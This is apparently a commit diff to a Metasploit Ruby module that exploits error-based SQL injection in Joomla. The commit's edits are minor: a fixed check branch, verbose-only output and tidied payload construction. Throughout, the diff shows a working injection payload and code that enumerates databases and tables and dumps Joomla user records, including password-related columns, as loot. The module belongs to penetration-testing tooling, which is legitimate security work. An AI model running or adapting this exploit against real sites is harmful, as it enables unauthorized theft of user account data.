@@ -55,9 +55,10 @@ def check
55
55
56
56
if res && res . code == 500 && res . body =~ /#{ lmark } #{ flag } #{ rmark } /
57
57
Msf ::Exploit ::CheckCode ::Vulnerable
58
+ else
59
+ Msf ::Exploit ::CheckCode ::Safe
58
60
end
59
61
60
- Msf ::Exploit ::CheckCode ::Safe
61
62
end
62
63
63
64
def request ( query )
@@ -84,7 +85,7 @@ def query_databases
84
85
0 . upto ( dbc . to_i - 1 ) do |i |
85
86
dbname = request ( query_fmt % i )
86
87
dbs << dbname
87
- print_good ( dbname )
88
+ vprint_good ( dbname )
88
89
end
89
90
90
91
%w( performance_schema information_schema mysql ) . each do |dbname |
@@ -107,10 +108,10 @@ def query_tables(database)
107
108
query_fmt << "WHERE table_schema IN (0x#{ database . unpack ( 'H*' ) [ 0 ] } ) "
108
109
query_fmt << 'LIMIT %d,1)'
109
110
110
- print_status ( 'tables in database: %s' % database )
111
+ vprint_status ( 'tables in database: %s' % database )
111
112
0 . upto ( tbc . to_i - 1 ) do |i |
112
113
tbname = request ( query_fmt % i )
113
- print_good ( tbname )
114
+ vprint_good ( tbname )
114
115
tbs << tbname if tbname =~ /_users$/
115
116
end
116
117
tbs
@@ -121,7 +122,7 @@ def query_columns(database, table)
121
122
query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{ database } .#{ table } )"
122
123
123
124
colc = request ( query )
124
- print_status ( colc )
125
+ vprint_status ( colc )
125
126
126
127
valid_cols = [ # joomla_users
127
128
'activation' ,
@@ -158,7 +159,7 @@ def query_columns(database, table)
158
159
end
159
160
end
160
161
cols << record
161
- print_status ( record . to_s )
162
+ vprint_status ( record . to_s )
162
163
end
163
164
cols
164
165
end
@@ -167,19 +168,18 @@ def run
167
168
$lmark = Rex ::Text . rand_text_alpha ( 5 )
168
169
$rmark = Rex ::Text . rand_text_alpha ( 5 )
169
170
170
- $payload = ''
171
- $payload << 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
171
+ $payload = 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
172
172
$payload << "0x#{ $lmark. unpack ( 'H*' ) [ 0 ] } ,"
173
173
$payload << '%s,'
174
174
$payload << "0x#{ $rmark. unpack ( 'H*' ) [ 0 ] } ,"
175
175
$payload << 'FLOOR(RAND(0)*2)'
176
176
$payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
177
177
178
- dbs = query_databases # query databases
178
+ dbs = query_databases
179
179
dbs . each do |db |
180
- tables = query_tables ( db ) # query tables
180
+ tables = query_tables ( db )
181
181
tables . each do |table |
182
- cols = query_columns ( db , table ) # query cokumns
182
+ cols = query_columns ( db , table )
183
183
next if cols . blank?
184
184
path = store_loot (
185
185
'joomla.users' ,
0 commit comments